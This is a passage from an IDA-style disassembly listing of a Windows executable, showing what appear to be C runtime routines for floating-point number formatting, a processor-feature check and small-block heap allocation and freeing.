sub_411BA5	proc near		; CODE XREF: sub_40E1DE+ACp
					; sub_40FBCF+76Ep ...

; FUNCTION CHUNK AT 00411B74 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00411B98 SIZE 0000000D BYTES

		cmp	ecx, dword_421360
		jnz	short loc_411BAE
		retn
; ---------------------------------------------------------------------------


loc_411BAE:				; CODE XREF: sub_411BA5+6j
		jmp	loc_411B74
sub_411BA5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_411BB3	proc near		; CODE XREF: sub_40FBCF+459p
					; DATA XREF: sub_40E292+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_40EB9E
		cmp	eax, 65h
		pop	ecx
		jz	short loc_411BF1


loc_411BC7:				; CODE XREF: sub_411BB3+3Cj
		inc	esi
		cmp	dword_4214F4, 1
		movsx	eax, byte ptr [esi]
		jle	short loc_411BE0
		push	4
		push	eax
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_411BED
; ---------------------------------------------------------------------------


loc_411BE0:				; CODE XREF: sub_411BB3+1Fj
		mov	ecx, off_4214EC
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 4


loc_411BED:				; CODE XREF: sub_411BB3+2Bj
		test	eax, eax
		jnz	short loc_411BC7


loc_411BF1:				; CODE XREF: sub_411BB3+12j
		mov	al, [esi]
		mov	cl, byte_4214F8
		mov	[esi], cl
		inc	esi


loc_411BFC:				; CODE XREF: sub_411BB3+54j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_411BFC
		pop	esi
		retn
sub_411BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_411C0B	proc near		; CODE XREF: sub_40FBCF+46Ap
					; DATA XREF: sub_40E292+Ao ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	bl, byte_4214F8
		jmp	short loc_411C1D
; ---------------------------------------------------------------------------


loc_411C18:				; CODE XREF: sub_411C0B+16j
		cmp	cl, bl
		jz	short loc_411C23
		inc	eax


loc_411C1D:				; CODE XREF: sub_411C0B+Bj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_411C18


loc_411C23:				; CODE XREF: sub_411C0B+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_411C54
		jmp	short loc_411C37
; ---------------------------------------------------------------------------


loc_411C2C:				; CODE XREF: sub_411C0B+30j
		cmp	cl, 65h
		jz	short loc_411C3D
		cmp	cl, 45h
		jz	short loc_411C3D
		inc	eax


loc_411C37:				; CODE XREF: sub_411C0B+1Fj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_411C2C


loc_411C3D:				; CODE XREF: sub_411C0B+24j
					; sub_411C0B+29j
		mov	edx, eax


loc_411C3F:				; CODE XREF: sub_411C0B+38j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_411C3F
		cmp	[eax], bl
		jnz	short loc_411C4A
		dec	eax


loc_411C4A:				; CODE XREF: sub_411C0B+3Cj
					; sub_411C0B+47j
		mov	cl, [edx]
		inc	eax
		inc	edx
		test	cl, cl
		mov	[eax], cl
		jnz	short loc_411C4A


loc_411C54:				; CODE XREF: sub_411C0B+1Dj
		pop	ebx
		retn
sub_411C0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_411C56	proc near		; DATA XREF: sub_40E292+28o
					; .text:off_421374o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_41BC80
		fnstsw	ax
		test	ah, 1
		jnz	short loc_411C6D
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_411C6D:				; CODE XREF: sub_411C56+11j
		xor	eax, eax
		retn
sub_411C56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C70	proc near		; CODE XREF: sub_41095C+495p
					; DATA XREF: sub_40E292+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_411C99
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4157AA
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_411C99:				; CODE XREF: sub_411C70+Cj
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4157ED
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		leave
		retn
sub_411C70	endp


; =============== S U B	R O U T	I N E =======================================



sub_411CAE	proc near		; CODE XREF: sub_411CCB+2Fp
					; sub_411DBE+7Ep ...
		test	edi, edi
		push	esi
		mov	esi, eax
		jz	short loc_411CC9
		push	esi
		call	sub_40D630
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_40F260
		add	esp, 10h


loc_411CC9:				; CODE XREF: sub_411CAE+5j
		pop	esi
		retn
sub_411CAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CCB	proc near		; CODE XREF: sub_411E9B+96p
					; sub_411F45+47p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4C5978, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_411D01
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4C5974
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		xor	edx, edx
		cmp	dword ptr [eax], 2Dh
		mov	esi, eax
		setz	dl
		mov	edi, ecx
		add	edx, [ebp+arg_4]
		mov	eax, edx
		call	sub_411CAE
		jmp	short loc_411D37
; ---------------------------------------------------------------------------


loc_411D01:				; CODE XREF: sub_411CCB+Dj
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_415961
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		mov	esi, eax
		push	esi
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_415830
		add	esp, 14h


loc_411D37:				; CODE XREF: sub_411CCB+34j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_411D43
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_411D43:				; CODE XREF: sub_411CCB+72j
		test	ebx, ebx
		jle	short loc_411D58
		lea	edi, [eax+1]
		mov	cl, [edi]
		mov	[eax], cl
		mov	cl, byte_4214F8
		mov	eax, edi
		mov	[eax], cl


loc_411D58:				; CODE XREF: sub_411CCB+7Aj
		xor	ecx, ecx
		cmp	byte_4C5978, cl
		push	offset dword_41BC88
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_40D8A0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_411D7F
		mov	byte ptr [ecx],	45h


loc_411D7F:				; CODE XREF: sub_411CCB+AFj
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_411DB6
		mov	eax, [esi+4]
		dec	eax
		jns	short loc_411D93
		neg	eax
		mov	byte ptr [ecx],	2Dh


loc_411D93:				; CODE XREF: sub_411CCB+C1j
		inc	ecx
		cmp	eax, 64h
		jl	short loc_411DA3
		cdq
		push	64h
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_411DA3:				; CODE XREF: sub_411CCB+CCj
		inc	ecx
		cmp	eax, 0Ah
		jl	short loc_411DB3
		cdq
		push	0Ah
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_411DB3:				; CODE XREF: sub_411CCB+DCj
		add	[ecx+1], al


loc_411DB6:				; CODE XREF: sub_411CCB+BBj
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_411CCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_411DBE	proc near		; CODE XREF: sub_411E9B+7Dp
					; sub_411F45+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4C5978, 0
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		jz	short loc_411DF7
		mov	eax, dword_4C597C
		cmp	eax, [esp+10h+arg_8]
		mov	esi, dword_4C5974
		jnz	short loc_411E23
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_411E23
; ---------------------------------------------------------------------------


loc_411DF7:				; CODE XREF: sub_411DBE+Fj
		mov	eax, [esp+10h+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_415961
		mov	esi, eax
		mov	eax, [esi+4]
		add	eax, [esp+18h+arg_8]
		push	esi
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebx
		push	eax
		call	sub_415830
		add	esp, 14h


loc_411E23:				; CODE XREF: sub_411DBE+20j
					; sub_411DBE+37j
		cmp	dword ptr [esi], 2Dh
		mov	ebp, ebx
		jnz	short loc_411E30
		mov	byte ptr [ebx],	2Dh
		lea	ebp, [ebx+1]


loc_411E30:				; CODE XREF: sub_411DBE+6Aj
		mov	eax, [esi+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
		jg	short loc_411E48
		mov	eax, ebp
		call	sub_411CAE
		mov	byte ptr [ebp+0], 30h
		inc	ebp
		jmp	short loc_411E4A
; ---------------------------------------------------------------------------


loc_411E48:				; CODE XREF: sub_411DBE+7Aj
		add	ebp, eax


loc_411E4A:				; CODE XREF: sub_411DBE+88j
		cmp	[esp+10h+arg_8], 0
		jle	short loc_411E94
		mov	eax, ebp
		call	sub_411CAE
		mov	al, byte_4214F8
		mov	[ebp+0], al
		mov	esi, [esi+4]
		inc	ebp
		test	esi, esi
		jge	short loc_411E94
		neg	esi
		cmp	byte_4C5978, 0
		jnz	short loc_411E79
		cmp	[esp+10h+arg_8], esi
		jl	short loc_411E7D


loc_411E79:				; CODE XREF: sub_411DBE+B3j
		mov	[esp+10h+arg_8], esi


loc_411E7D:				; CODE XREF: sub_411DBE+B9j
		mov	edi, [esp+10h+arg_8]
		mov	eax, ebp
		call	sub_411CAE
		push	edi
		push	30h
		push	ebp
		call	sub_40D7B0
		add	esp, 0Ch


loc_411E94:				; CODE XREF: sub_411DBE+91j
					; sub_411DBE+A8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		retn
sub_411DBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E9B	proc near		; CODE XREF: sub_411F45+34p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_415961
		mov	ecx, [eax+4]
		mov	ebx, [ebp+arg_8]
		dec	ecx
		mov	dword_4C597C, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		setz	cl
		push	ebx
		mov	dword_4C5974, eax
		add	ecx, [ebp+arg_4]
		mov	edi, ecx
		push	edi
		call	sub_415830
		mov	eax, dword_4C5974
		mov	eax, [eax+4]
		add	esp, 14h
		dec	eax
		cmp	dword_4C597C, eax
		mov	dword_4C597C, eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		mov	byte_4C5980, cl
		jl	short loc_411F22
		cmp	eax, ebx
		jge	short loc_411F22
		test	cl, cl
		jz	short loc_411F0C


loc_411F02:				; CODE XREF: sub_411E9B+6Cj
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_411F02
		and	[edi-2], al


loc_411F0C:				; CODE XREF: sub_411E9B+65j
		push	ebx
		push	[ebp+arg_4]
		mov	byte_4C5978, 1
		push	esi
		call	sub_411DBE
		add	esp, 0Ch
		jmp	short loc_411F39
; ---------------------------------------------------------------------------


loc_411F22:				; CODE XREF: sub_411E9B+5Dj
					; sub_411E9B+61j
		push	[ebp+arg_C]
		mov	byte_4C5978, 1
		push	ebx
		push	[ebp+arg_4]
		push	esi
		call	sub_411CCB
		add	esp, 10h


loc_411F39:				; CODE XREF: sub_411E9B+85j
		and	byte_4C5978, 0
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_411E9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411F45	proc near		; CODE XREF: sub_40FBCF+43Ep
					; DATA XREF: sub_40E292o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_411F80
		cmp	[ebp+arg_8], 45h
		jz	short loc_411F80
		cmp	[ebp+arg_8], 66h
		jnz	short loc_411F6D
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411DBE
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411F6D:				; CODE XREF: sub_411F45+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411E9B
		jmp	short loc_411F91
; ---------------------------------------------------------------------------


loc_411F80:				; CODE XREF: sub_411F45+7j
					; sub_411F45+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411CCB


loc_411F91:				; CODE XREF: sub_411F45+39j
		add	esp, 10h
		pop	ebp
		retn
sub_411F45	endp


; =============== S U B	R O U T	I N E =======================================



sub_411F96	proc near		; CODE XREF: sub_40E2CA+Fp
		push	30000h
		push	10000h
		call	sub_415B36
		pop	ecx
		pop	ecx
		retn
sub_411F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411FA8	proc near		; CODE XREF: sub_411FE8:loc_41200Cj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_41BCA0
		fstp	[ebp+var_8]
		fld	dbl_41BC98
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_41BC90
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_411FE4
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_411FE4:				; CODE XREF: sub_411FA8+35j
		xor	eax, eax
		leave
		retn
sub_411FA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_411FE8	proc near		; CODE XREF: sub_40E2CA+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_419094	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41200C
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4190F8	; GetProcAddress
		test	eax, eax
		jz	short loc_41200C
		push	0
		call	eax ; sub_40E2CA
		retn
; ---------------------------------------------------------------------------


loc_41200C:				; CODE XREF: sub_411FE8+Dj
					; sub_411FE8+1Dj
		jmp	sub_411FA8
sub_411FE8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412011	proc near		; CODE XREF: sub_41202B+20p
		cmp	dword_4C5910, 2
		jnz	short loc_412027
		cmp	dword_4C591C, 5
		jb	short loc_412027
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_412027:				; CODE XREF: sub_412011+7j
					; sub_412011+10j
		push	3
		pop	eax
		retn
sub_412011	endp


; =============== S U B	R O U T	I N E =======================================



sub_41202B	proc near		; CODE XREF: .text:0040F91Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	dword_41919C	; HeapCreate
		test	eax, eax
		mov	dword_4C5B64, eax
		jz	short loc_412075
		call	sub_412011
		cmp	eax, 3
		mov	dword_4C5B68, eax
		jnz	short loc_412078
		push	3F8h
		call	sub_41207C
		test	eax, eax
		pop	ecx
		jnz	short loc_412078
		push	dword_4C5B64
		call	dword_4191A0	; HeapDestroy


loc_412075:				; CODE XREF: sub_41202B+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_412078:				; CODE XREF: sub_41202B+2Dj
					; sub_41202B+3Cj
		xor	eax, eax
		inc	eax
		retn
sub_41202B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41207C	proc near		; CODE XREF: sub_41202B+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_4C5B64
		call	dword_4191B8	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4C5B50, eax
		jnz	short loc_412099
		retn
; ---------------------------------------------------------------------------


loc_412099:				; CODE XREF: sub_41207C+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_4C5B48, 0
		and	dword_4C5B4C, 0
		mov	dword_4C5B58, eax
		xor	eax, eax
		mov	dword_4C5B54, ecx
		mov	dword_4C5B5C, 10h
		inc	eax
		retn
sub_41207C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4120C4	proc near		; CODE XREF: sub_40E359+13p
					; sub_414F92+48p ...

arg_0		= dword	ptr  4

		mov	eax, dword_4C5B4C
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4C5B50
		lea	ecx, [eax+ecx*4]
		jmp	short loc_4120E8
; ---------------------------------------------------------------------------


loc_4120D6:				; CODE XREF: sub_4120C4+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_4120EE
		add	eax, 14h


loc_4120E8:				; CODE XREF: sub_4120C4+10j
		cmp	eax, ecx
		jb	short loc_4120D6
		xor	eax, eax

locret_4120EE:				; CODE XREF: sub_4120C4+1Fj
		retn
sub_4120C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4120EF	proc near		; CODE XREF: sub_40E359+1Fp
					; sub_414F92+9Cp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_412403
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_4121BA
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_412152
		push	3Fh
		pop	edx


loc_412152:				; CODE XREF: sub_4120EF+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41219C
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_41217D
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_412199
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_412199
; ---------------------------------------------------------------------------


loc_41217D:				; CODE XREF: sub_4120EF+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_412199
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_412199:				; CODE XREF: sub_4120EF+85j
					; sub_4120EF+8Cj ...
		mov	ebx, [ebp+arg_4]


loc_41219C:				; CODE XREF: sub_4120EF+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx


loc_4121BA:				; CODE XREF: sub_4120EF+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_4121C8
		push	3Fh
		pop	edx


loc_4121C8:				; CODE XREF: sub_4120EF+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_412266
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_4121ED
		mov	ebx, esi


loc_4121ED:				; CODE XREF: sub_4120EF+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_4121FF
		mov	edx, esi


loc_4121FF:				; CODE XREF: sub_4120EF+10Cj
		cmp	ebx, edx
		jz	short loc_412261
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_412249
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_41222F
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_412249
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_412249
; ---------------------------------------------------------------------------


loc_41222F:				; CODE XREF: sub_4120EF+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_412249
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_412249:				; CODE XREF: sub_4120EF+11Dj
					; sub_4120EF+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_412261:				; CODE XREF: sub_4120EF+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_412269
; ---------------------------------------------------------------------------


loc_412266:				; CODE XREF: sub_4120EF+E2j
		mov	ebx, [ebp+arg_0]


loc_412269:				; CODE XREF: sub_4120EF+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_412277
		cmp	ebx, edx
		jz	loc_4122F7


loc_412277:				; CODE XREF: sub_4120EF+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_4122F7
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_4122CE
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4122BD
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4122BD:				; CODE XREF: sub_4120EF+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_4122F7
; ---------------------------------------------------------------------------


loc_4122CE:				; CODE XREF: sub_4120EF+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4122E4
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_4122E4:				; CODE XREF: sub_4120EF+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_4122F7:				; CODE XREF: sub_4120EF+182j
					; sub_4120EF+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_412402
		mov	eax, dword_4C5B48
		test	eax, eax
		jz	loc_4123F4
		mov	ecx, dword_4C5B60
		mov	esi, dword_419178
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4C5B60
		mov	eax, dword_4C5B48
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4C5B48
		mov	eax, [eax+10h]
		mov	ecx, dword_4C5B60
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4C5B48
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4C5B48
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_412385
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4C5B48


loc_412385:				; CODE XREF: sub_4120EF+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_4123F4
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_4C5B48
		push	dword ptr [eax+10h]
		push	0
		push	dword_4C5B64
		call	dword_4191B4	; RtlFreeHeap
		mov	eax, dword_4C5B4C
		mov	edx, dword_4C5B50
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4C5B48
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_40F260
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4C5B4C
		cmp	eax, dword_4C5B48
		jbe	short loc_4123EA
		sub	[ebp+arg_0], 14h


loc_4123EA:				; CODE XREF: sub_4120EF+2F5j
		mov	eax, dword_4C5B50
		mov	dword_4C5B58, eax


loc_4123F4:				; CODE XREF: sub_4120EF+223j
					; sub_4120EF+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_4C5B48, eax
		mov	dword_4C5B60, edi


loc_412402:				; CODE XREF: sub_4120EF+216j
		pop	ebx


loc_412403:				; CODE XREF: sub_4120EF+37j
		pop	edi
		pop	esi
		leave
		retn
sub_4120EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_412407	proc near		; CODE XREF: sub_4128A3+150p
		mov	eax, dword_4C5B4C
		mov	ecx, dword_4C5B5C
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41244D
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4C5B50
		push	edi
		push	dword_4C5B64
		call	dword_419170	; RtlReAllocateHeap
		cmp	eax, edi
		jnz	short loc_41243C
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41243C:				; CODE XREF: sub_412407+2Fj
		add	dword_4C5B5C, 10h
		mov	dword_4C5B50, eax
		mov	eax, dword_4C5B4C


loc_41244D:				; CODE XREF: sub_412407+10j
		mov	ecx, dword_4C5B50
		push	esi
		push	41C4h
		push	8
		push	dword_4C5B64
		lea	eax, [eax+eax*4]
		lea	esi, [ecx+eax*4]
		call	dword_4191B8	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jnz	short loc_412478


loc_412474:				; CODE XREF: sub_412407+9Bj
		xor	eax, eax
		jmp	short loc_4124BB
; ---------------------------------------------------------------------------


loc_412478:				; CODE XREF: sub_412407+6Bj
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_419174	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4124A4
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4C5B64
		call	dword_4191B4	; RtlFreeHeap
		jmp	short loc_412474
; ---------------------------------------------------------------------------


loc_4124A4:				; CODE XREF: sub_412407+89j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4C5B4C
